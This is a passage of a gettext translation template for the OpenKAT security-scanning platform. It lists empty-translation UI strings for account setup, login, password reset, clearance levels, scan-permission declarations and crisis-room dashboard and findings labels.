katalogus/templates/katalogus_settings.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/tls_report/report.html\n#: reports/templates/partials/report_names_form.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rename_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/report_overview/subreports_table.html\n#: tools/forms/boefje.py rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"Name\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"The name that will be used in order to communicate.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Please provide username\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Email\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Enter an email address.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Password\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose a super secret password\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose another email.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py tools/forms/settings.py\nmsgid \"--- Please select one of the available options ----\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Account type\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Please select an account type to proceed.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"Trusted clearance level\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Select a clearance level you trust this member with.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py onboarding/forms.py tools/forms/ooi.py\nmsgid \"Please select a clearance level to proceed.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py tools/models.py\nmsgid \"The name of the organization.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"explanation-organization-name\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\n#, python-brace-format\nmsgid \"A unique code of maximum {code_length} characters in length.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"explanation-organization-code\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Organization name is required to proceed.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose another organization.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Organization code is required to proceed.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose another code for your organization.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"\"\n\"I declare that OpenKAT may scan the assets of my organization and that I \"\n\"have permission to scan these assets. I am aware of the implications a scan \"\n\"(with a higher scan level) brings on my systems.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"\"\n\"I declare that I am authorized to give this indemnification on behalf of my \"\n\"organization. I have the experience and knowledge to know what the \"\n\"consequences might be and can be held responsible for them.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Trusted to change Clearance Levels.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Acknowledged to change Clearance Levels.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py rocky/forms.py\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Blocked\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"\"\n\"Set the members status to blocked, so they don't have access to the \"\n\"organization anymore.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Accepted clearance level\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Enter tags separated by comma.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"The two password fields didn’t match.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"New password\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Enter a new password\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"New password confirmation\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Repeat the new password\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Confirm the new password\"\nmsgstr \"\"\n\n#: account/forms/login.py\nmsgid \"Please enter a correct email address and password.\"\nmsgstr \"\"\n\n#: account/forms/login.py\nmsgid \"This account is inactive.\"\nmsgstr \"\"\n\n#: account/forms/login.py\nmsgid \"Insert the email you registered with or got at OpenKAT installation.\"\nmsgstr \"\"\n\n#: account/forms/organization.py\nmsgid \"Organization is required.\"\nmsgstr \"\"\n\n#: account/forms/organization.py tools/view_helpers.py\n#: rocky/templates/dashboard_redteam.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/views/organization_add.py\nmsgid \"Organizations\"\nmsgstr \"\"\n\n#: account/forms/organization.py\nmsgid \"The organization from which to clone settings.\"\nmsgstr \"\"\n\n#: account/forms/password_reset.py account/templates/account_detail.html\nmsgid \"Email address\"\nmsgstr \"\"\n\n#: account/forms/password_reset.py\nmsgid \"A reset link will be sent to this email\"\nmsgstr \"\"\n\n#: account/forms/password_reset.py\nmsgid \"The email address connected to your OpenKAT-account\"\nmsgstr \"\"\n\n#: account/forms/token.py\nmsgid \"\"\n\"Insert the token generated by the authenticator app to setup the two factor \"\n\"authentication.\"\nmsgstr \"\"\n\n#: account/forms/token.py\nmsgid \"Insert the token generated by your token authenticator app.\"\nmsgstr \"\"\n\n#: account/forms/token.py\nmsgid \"Backup token\"\nmsgstr \"\"\n\n#: account/mixins.py\nmsgid \"Clearance level has been set.\"\nmsgstr \"\"\n\n#: account/mixins.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level of %s to L%s. Indemnification not present at \"\n\"organization %s.\"\nmsgstr \"\"\n\n#: account/mixins.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level of %s to L%s. You were trusted a clearance \"\n\"level of L%s. Contact your administrator to receive a higher clearance.\"\nmsgstr \"\"\n\n#: account/mixins.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level of %s to L%s. You acknowledged a clearance \"\n\"level of L%s. Please accept the clearance level first on your profile page \"\n\"to proceed.\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"The email must be set\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"Superuser must have is_staff=True.\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"Superuser must have is_superuser=True.\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"full name\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"email\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"staff status\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"Designates whether the user can log into this admin site.\"\nmsgstr \"\"\n\n#: account/models.py tools/models.py\nmsgid \"active\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"\"\n\"Designates whether this user should be treated as active. Unselect this \"\n\"instead of deleting accounts.\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"date joined\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"The clearance level of the user for all organizations.\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"name\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html account/views/account.py\nmsgid \"Account details\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html account/templates/password_reset.html\n#: account/views/password_reset.py\nmsgid \"Reset password\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"Full name\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"Member type\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Organization\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"Permission to set OOI clearance levels\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"OOI clearance\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"You don't have any clearance to scan objects.\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"\"\n\"Get in contact with the admin to give you the necessary clearance level.\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"You have currently accepted clearance up to level\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"Explanation OOI Clearance\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"\"\n\"You can withdraw this at anytime you like, but know that you won't be able \"\n\"to change clearance levels anymore when you do.\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\n#, python-format\nmsgid \"Withdraw L%(acl)s clearance and responsibility\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"Explanation OOI clearance\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\n#, python-format\nmsgid \"\"\n\"You are granted clearance for level L%(tcl)s by your admin. Before you can \"\n\"change OOI clearance levels up to this level, you need to accept this \"\n\"permission. Remember: <strong>with great power comes great responsibility.</\"\n\"strong>\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"Accept level L%(tcl)s clearance and responsibility\"\nmsgstr \"\"\n\n#: account/templates/password_reset.html\nmsgid \"Use the form below to reset your password.\"\nmsgstr \"\"\n\n#: account/templates/password_reset.html\n#: account/templates/password_reset_confirm.html\nmsgid \"Send\"\nmsgstr \"\"\n\n#: account/templates/password_reset.html\n#: account/templates/password_reset_confirm.html\nmsgid \"Back\"\nmsgstr \"\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"Confirm reset password\"\nmsgstr \"\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"Use the form below to confirm resetting your password\"\nmsgstr \"\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"Confirm password\"\nmsgstr \"\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"The link is invalid\"\nmsgstr \"\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"\"\n\"The password reset link was invalid, possibly because it has already been \"\n\"used.  Please request a new password reset.\"\nmsgstr \"\"\n\n#: account/templates/password_reset_email.html\n#, python-format\nmsgid \"\"\n\"You're receiving this email because you requested a password reset for your \"\n\"user account at %(site_name)s.\"\nmsgstr \"\"\n\n#: account/templates/password_reset_email.html\n#: account/templates/registration_email.html\nmsgid \"Please go to the following page and choose a new password:\"\nmsgstr \"\"\n\n#: account/templates/password_reset_email.html\n#: account/templates/registration_email.html\nmsgid \"Sincerely,\"\nmsgstr \"\"\n\n#: account/templates/password_reset_email.html\n#: account/templates/registration_email.html\nmsgid \"The OpenKAT team\"\nmsgstr \"\"\n\n#: account/templates/password_reset_subject.txt\n#, python-format\nmsgid \"Password reset on %(site_name)s\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html account/views/recover_email.py\nmsgid \"Recover email address\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"Information on how to recover your connected email address\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"Forgotten email address?\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"\"\n\"If you don’t remember the email address connected to your account, contact:\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"Please contact the system administrator.\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"Back to login\"\nmsgstr \"\"\n\n#: account/templates/recover_email.html\nmsgid \"Back to Home\"\nmsgstr \"\"\n\n#: account/templates/registration_email.html\n#, python-format\nmsgid \"\"\n\"Welcome to OpenKAT. You're receiving this email because you have been added \"\n\"to organization \\\"%(organization)s\\\" at %(site_name)s.\"\nmsgstr \"\"\n\n#: account/templates/registration_subject.txt\n#, python-format\nmsgid \"Verify OpenKAT account on %(site_name)s\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \"\"\n\"Your password must contain at least the following but longer passwords are \"\n\"recommended:\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \" characters\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \" digits\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \" letters\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \"\"\n\" special characters such as: {str(validators.get('special_characters',''))}\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \" lower case letters\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \" upper case letters\"\nmsgstr \"\"\n\n#: account/views/login.py\nmsgid \"Your session has timed out. Please login again.\"\nmsgstr \"\"\n\n#: account/views/login.py rocky/templates/header.html\nmsgid \"OpenKAT\"\nmsgstr \"\"\n\n#: account/views/login.py account/views/password_reset.py\n#: account/views/recover_email.py rocky/templates/partials/secondary-menu.html\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Login\"\nmsgstr \"\"\n\n#: account/views/login.py\nmsgid \"Two factor authentication\"\nmsgstr \"\"\n\n#: account/views/password_reset.py\nmsgid \"We couldn't send a password reset link. Contact \"\nmsgstr \"\"\n\n#: account/views/password_reset.py\nmsgid \"\"\n\"We couldn't send a password reset link. Contact your system administrator.\"\nmsgstr \"\"\n\n#: components/modal/template.html\nmsgid \"Close modal\"\nmsgstr \"\"\n\n#: components/modal/template.html\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: crisis_room/templates/partials/new_dashboard_modal.html\n#: katalogus/templates/change_clearance_level.html\n#: katalogus/templates/confirmation_clone_settings.html\n#: katalogus/templates/plugin_settings_delete.html\n#: reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html\n#: reports/templates/report_schedules/delete_recipe_modal.html\n#: rocky/templates/oois/ooi_delete.html\n#: rocky/templates/oois/ooi_mute_finding.html\n#: rocky/templates/organizations/organization_edit.html\n#: rocky/templates/organizations/organization_member_edit.html\n#: rocky/templates/partials/delete_ooi_modal.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\n#: rocky/templates/partials/mute_findings_modal.html\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Cancel\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Title on dashboard\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Dashboard item size\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Full width\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Half width\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"An item with that name already exists. Try a different title.\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"An error occurred while adding dashboard item.\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Number of rows in list\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"List sorting by\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Type (A-Z)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Type (Z-A)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Clearance level (Low-High)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Clearance level (High-Low)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Show table columns\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Severity (Low-High)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Severity (High-Low)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Finding (A-Z)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Finding (Z-A)\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Findings Dashboard\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"\"\n\"Where on the dashboard do you want to show the data? Position {} is the most \"\n\"top level and the max position is {}.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Will be displayed on the general crisis room, for all organizations.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Will be displayed on a single organization dashboard\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Will be displayed on the findings dashboard for all organizations\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Can change position up or down of a dashboard item.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"You have to choose between a recipe or a query, but not both.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"You have set a query and not where it is from. Also set the source.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"\"\n\"DashboardItem must contain at least a 'recipe' or a 'source' with a 'query'.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Max dashboard items reached.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room.html\n#: crisis_room/templates/organization_crisis_room.html\n#: rocky/templates/header.html\nmsgid \"Crisis room\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room.html\nmsgid \"Crisis room overview for all organizations.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"Dashboards\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"\"\n\"On this page you can see an overview of the dashboards for all \"\n\"organizations. **More context can be written here**\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"dashboards\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"There are no dashboards to display.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/findings_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Findings overview\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"\"\n\"\\n\"\n\"                            This overview shows the total number of findings \"\n\"per\\n\"\n\"                            severity that have been identified for all \"\n\"organizations.\\n\"\n\"                            This data is based on the latest Crisis Room \"\n\"Findings Report\\n\"\n\"                            of each organization.\\n\"\n\"                        \"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"Findings per organization\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"\"\n\"This table shows the findings that have been identified for each \"\n\"organization, sorted by the finding types and grouped by organizations. This \"\n\"data is based on the latest Crisis Room Findings Report of each organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\n#: reports/report_types/findings_report/report.html\nmsgid \"\"\n\"No findings have been identified yet. As soon as they have been identified, \"\n\"they will be shown on this page.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"\"\n\"There are no organizations yet. After creating an organization, the \"\n\"identified findings will be shown here.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_header.html\n#: crisis_room/templates/organization_crisis_room_header.html\nmsgid \"Crisis room navigation\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_header.html\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\n#: reports/report_types/aggregate_organisation_report/findings.html\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/findings_report/report.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/multi_organization_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/tls_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/report_types/web_system_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_sidemenu.html\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/oois/ooi_detail_findings_overview.html\n#: rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/ooi_report_findings_block.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/views/finding_list.py rocky/views/finding_type_add.py\n#: rocky/views/ooi_view.py\nmsgid \"Findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"Options for dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"Show all descriptions\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"Hide all descriptions\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\n#: crisis_room/templates/partials/delete_dashboard_modal.html\nmsgid \"Delete dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"\"\n\"There are no dashboards yet. Click on \\\"Add dashboard\\\" to create a new \"\n\"dashboard.\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\n#: katalogus/templates/partials/objects_to_scan.html\n#: rocky/templates/forms/widgets/checkbox_group_table.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"Object list\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Finding list\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\nmsgid \"Report section\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"There are no dashboard items added yet.\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"\"\n\"You can add dashboard items via the filters on the objects and findings page \"\n\"or you can add a report section.\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Add objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Add findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Add report section\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_header.html\n#: crisis_room/templates/partials/new_dashboard_modal.html\nmsgid \"Add dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"Findings per organization overview\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: tools/forms/finding_type.py\nmsgid \"Finding types\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: rocky/templates/oois/ooi_detail_findings_overview.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Occurrences\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"Highest risk level\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"Critical finding types\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/summary/selected_plugins.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Details\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/summary/selected_plugins.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Close details\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/summary/selected_plugins.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Open details\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"\"\n\"This overview shows the total number of findings per severity that have been \"\n\"identified for this organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/findings_report/report.html\nmsgid \"Critical and high findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/findings_report/report.html\nmsgid \"\"\n\"This table shows the top 25 critical and high findings that have been \"\n\"identified for this organization, grouped by finding types. A table with all \"\n\"the identified findings can be found in the Findings Report.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"No findings have been identified. Check report for more details.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"View findings report\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Edit report recipe\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list.html\n#, python-format\nmsgid \"Showing %(length)s findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list.html\nmsgid \"Go to findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Findings table \"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: crisis_room/templates/partials/dashboard_ooi_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"column headers with buttons are sortable\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Show details for %(finding)s\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#: rocky/views/mixins.py\nmsgid \"Tree\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#: rocky/views/mixins.py\nmsgid \"Graph\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/dns_report/report.html\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/oois/ooi_detail_findings_overview.html rocky/views/mixins.py\nmsgid \"Severity\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/dns_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\n#: rocky/views/mixins.py\nmsgid \"Finding\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\nmsgid \"Finding type\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Show details for %(finding_type)s\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"OOI type\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Show %(ooi_type)s objects\"\nmsgstr \"\"\n\n#: 